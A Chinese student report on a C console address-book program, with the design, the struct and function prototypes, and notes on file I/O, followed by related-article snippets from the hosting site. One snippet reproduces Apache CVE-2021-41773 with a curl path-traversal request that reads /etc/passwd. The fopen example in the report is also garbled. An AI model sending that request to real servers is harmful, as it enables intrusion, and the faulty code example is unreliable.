基于C语言开发(控制台)通讯录管理程序

通讯录程序设计

一、课程设计题目与要求

题目 :通讯录管理程序

1. 问题描述

编写一个简单的通讯录管理程序。通讯录记录有姓名,地址(省、市(县)、街道),电话号码,邮政编码等四项。

2. 基本要求

程序应提供的基本基本管理功能有:

  • 添加:即增加一个人的记录到通信录中
  • 显示:即在屏幕上显示所有通信录中的人员信息,应能分屏显示。
  • 存储:即将通讯录信息保存在一个文件中。
  • 装入:即将文件中的信息读入程序。
  • 查询:可根据姓名查找某人的相关信息,若找到显示其姓名、地址、电话号码和邮政编码。
  • 修改:可修改一个人的除姓名外其它信息。

3. 测试数据

程序应输入不少于 10 个人员的通讯录信息,应考虑到人员可以同名的情况。

4. 实现提示

程序可用一个结构体数组、单向链表或对象数组来管理人员信息,每个人员的姓名,地址,电话号码和邮政编码用一个结构体或类实现。

5.设计要求

一个功能选择主菜单;实现 6 个基本功能;

二、总体设计

总体功能框架

数据结构概要设计

定义一个结构数组来装姓名、地址、生日、手机、邮编、邮箱。

三、详细设计

数据结构详细设计

结构数组设计

typedef struct contact  //定义一个结构体来存放通讯录中的人员信息
{char name[NAME_MAX];char address[ADDR_MAX];char tel[TEL_MAX];char mail[MAIL_MAX];
} contact;
typedef struct people
{contact student[SIZE];int count;
} people, *pcon;

系统功能详细设计

函数原型

函数功能
void init(pcon p)//初始化通讯录
int search(pcon p)//因为后边几个函数中都用姓名查找一个联系人,所以单独写一个查找函数方便使用
void add_people(pcon p)//录入联系人信息
void find_people(pcon p)//查找一个联系人,并输出他的所有信息
void delete_people(pcon p)//删除某联系人信息
void change_people(pcon p)//修改联系人信息
void show_people(pcon p)//显示所有联系人信息
void filesave(pcon p)//将添加的联系人保存至文件里
void read_from_file(pcon p)   //从文件中读取联系人信息

函数形参说明

struct Contacts recode[]表示用于存放通讯录的个人信息

函数算法流程图

四、运行结果

【图 1:程序功能主菜单】

【图 2:添加联系人信息】

【图 3:添加联系人信息】

【图 4:显示联系人信息】

【图 5:查找联系人信息】

【图 6:修改联系人信息】

【图 7:删除联系人信息】

【图 8:退出通讯录】

五、课程设计总结

编程中的问题及解决方法

  • 删除数据无法操作经过反复尝试是因为文件打开路径没有用双反斜杆。
  • fseek 是用来设置文件指针 stream 的位置的函数
  • feof 是文件流指针,不到结尾返回 0,否则返回 1,判断一个状态的函数 FILE*fp=fopen,打开成功才能调用这个函数。

小结

结构体和共同体

  • 结构体变量所占内存长度是各成员占的内存长度的总和。共同体变量所占内存长度是各最长的成员占的内存长度。
  • 如果程序的规模较大,往往将对结构体类型的声明集中放到一个头文件中(以.h为后缀名)。哪个源文件需要用到此类的结构体只要包含该头文件即可。

文件操作

  • 文件操作都是由库函数来完成的,
  • 文件打开函数 fopen
    fopen 函数用来打开一个文件,其调用的一般形式为:文件指针名=fopen(文件名,使用文件方式) 其中,“文件指针名”必须是被说明为 FILE 类型的指针变量,“文件名”是被打开文件的文件名。 “使用文件方式”是指文件的类型和操作要求。“文件名”是字符串常量或字符串数组。例如:
  • FILE *fp;
    fp=(“file a”,“r”);
    其意义是在当前目录下打开文件 file a,只允许进行“读”操作,并使 fp 指向该文件。
  • fclose 函数
    调用的一般形式是: fclose(文件指针); 例如:
    fclose(fp);正常完成关闭文件操作时,fclose函数返回值为0。如返回非零值则表示有错误发生。文件的读写对文件的读和写是最常用的文件操作。

在编码过程中发现自己在结构体和文件操作这方面的运用还很不熟练,所以乘机会复习了教材第十二章和第十三章的相关内容,受益匪浅。

心得体会

通过这次实验,我认识到了指针的重要性,以后要多加强对指针这方面的理解认识,多加练习,为以后的学习打好基础,也体会到了团队分工合作共同完成一项任务的成就感。

程序设计方法

分析需求,分块设计函数,一一实现。

六、参考文献

  • 苏小红. C 语言程序设计[M]. 高等教育出版社: 高等教育出版社, 2013.
  • [美], Brian, W, Kernighan(布莱恩·克尼汉), [美], Dennis, M, Ritchie(丹尼斯·里奇). 计算机科学丛书:C 程序设计语言(第 2 版·新版)[M]. 机械工业出版社:机械工业出版社, 2004. 250-489

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/430751.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

众数信科AI智能体政务服务解决方案——寻知智能笔录系统

政务服务解决方案 寻知智能笔录方案 融合民警口供录入与笔录生成需求 2分钟内生成笔录并提醒错漏 助办案人员二次询问 提升笔录质量和效率 寻知智能笔录系统 众数信科AI智能体 产品亮点 分析、理解行业知识和校验规则 AI实时提醒用户文书需注意部分 全文校验格式、内…

领域驱动DDD三种架构-分层架构、洋葱架构、六边形架构

博主介绍: 大家好,我是Yuperman,互联网宇宙厂经验,17年医疗健康行业的码拉松奔跑者,曾担任技术专家、架构师、研发总监负责和主导多个应用架构。 技术范围: 目前专注java体系,以及golang、.Net、…

(1999-2018年)全国各城市-财政收入–营业税

涵盖了1999年至2018年间,全国各城市的财政收入中营业税的部分。数据来源于中国区域统计年鉴及各省市统计年鉴 1999-2018年全国各城市-财政收入-营业税资源-CSDN文库https://download.csdn.net/download/2401_84585615/89504622 不同行业对营业税的贡献也存在差异。…

电动车车牌识别系统源码分享

电动车车牌识别检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer V…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

智能新突破:AIOT 边缘计算网关让老旧水电表图像识别

数字化高速发展的时代,AIOT(人工智能物联网)技术正以惊人的速度改变着我们的生活和工作方式。而其中,AIOT 边缘计算网关凭借其强大的功能,成为了推动物联网发展的关键力量。 这款边缘计算网关拥有令人瞩目的 1T POS 算…

自驾游拼团系统小程序的设计

管理员账户功能包括:系统首页,个人中心,用户管理,发布起人管理,景点信息管理,景点分类管理,拼团旅游管理,参团信息管理,拼团订单管理,系统管理 微信端账号功…

11. DPO 微调示例:根据人类偏好优化LLM大语言模型

在部署大模型之后,我们必然要和微调打交道。现在大模型的微调有非常多的方法,过去的文章中提到的微调方法通常依赖于问题和答案对,标注成本较高。 2023 年所提出的 Direct Preference Optimization(DPO)为我们提供了一…

C语言----指针

基本知识点:指针的定义、指针运算符和指针运算等基本概念。重 点:字符指针、指针数组和多级指针。难 点:利用指针类型解决复杂的应用问题。 指针的概念 要点归纳 1.指针变量 在计算机中,所有数据都通过变量存放在内存中,每个变量都…

【matlab】将程序打包为exe文件(matlab r2023a为例)

文章目录 一、安装运行时环境1.1 安装1.2 简介 二、打包三、打包文件为什么很大 一、安装运行时环境 使用 Application Compiler 来将程序打包为exe,相当于你使用C编译器把C语言编译成可执行程序。 在matlab菜单栏–App下面可以看到Application Compiler。 或者在…

啤酒过滤——关于过滤助剂的介绍

在啤酒的酿造过程中,过滤是一个关键步骤,在啤酒厂中最常用的过滤助剂主要有两种:硅藻土和珍珠岩。它们能够帮助去除杂质,确保啤酒的清澈和口感。过滤助剂通常以粉状形式存在,它们被涂抹在过滤机的支撑材料上&#xff0…

深度合成算法备案和大模型备案的区别是什么

以下是关于大语言模型上线备案和深度合成算法备案区别的文档内容: 一、大语言模型上线备案与深度合成算法备案的区别 备案对象 大语言模型上线备案:主要针对生成式人工智能(AIGC)产品中的大型语言模型,能够生成文本、图…

MT6765/MT6762(R/D/M)/MT6761(MT8766)安卓核心板参数比较_MTK联发科4G智能模块

联发科Helio P35 MT6765安卓核心板 MediaTek Helio P35 MT6765是智能手机的主流ARM SoC,于2018年末推出。它在两个集群中集成了8个ARM Cortex-A53内核(big.LITTLE)。四个性能内核的频率高达2.3GHz。集成显卡为PowerVR GE8320,频率…

MATLAB系列09:图形句柄

MATLAB系列09:图形句柄 9. 图形句柄9.1 MATLAB图形系统9.2 对象句柄9.3 对象属性的检测和更改9.3.1 在创建对象时改变对象的属性9.3.2 对象创建后改变对象的属性 9.4 用 set 函数列出可能属性值9.5 自定义数据9.6 对象查找9.7 用鼠标选择对象9.8 位置和单位9.8.1 图…

Leetcode面试经典150题-39.组合总数进阶:40.组合总和II

本题是扩展题,真实考过,看这个题之前先看一下39题 Leetcode面试经典150题-39.组合总数-CSDN博客 给定一个候选人编号的集合 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数…

E2VPT: An Effective and Efficient Approach for Visual Prompt Tuning

论文汇总 存在的问题 1.以前的提示微调方法那样只关注修改输入,而应该明确地研究在微调过程中改进自注意机制的潜力,并探索参数效率的极限。 2.探索参数效率的极值来减少可调参数的数量? 解决办法 提示嵌入进行transformer中 提示剪枝 Token-wise …

004_动手实现MLP(pytorch)

import torch from torch import nn from torch.nn import init import numpy as np import sys import d2lzh_pytorch as d2l # 1.数据预处理 mnist_train torchvision.datasets.FashionMNIST(root/Users/w/PycharmProjects/DeepLearning_with_LiMu/datasets/FashionMnist, t…

DevExpress WPF中文教程:如何解决行焦点、选择的常见问题?

DevExpress WPF拥有120个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…

0-1开发自己的obsidian plugin DAY 2

今天上午解决了三个问题 1. typescript长得丑/一片飘红/格式检查太严格 在vscode的settings里搜索下面这个然后false掉: "typescript.validate.enable": false 就不会一片飘红了(其他下载第三方插件如TSLint和typescript hero的方法都不好使&…

虚幻引擎的三种输入模式和将控件显示到屏幕上

首先要知道一个概念 , HUD 和 Input 都是由 PlayerController 来控制的 而虚幻的Input控制模式有三种 Set Input Mode Game Only (设置输入模式仅限游戏): 视角会跟着鼠标旋转 , 就是正常游戏的模式 , 这也是游戏默认输入模式 Set Input Mode UI Only (设置输入模式仅限UI): …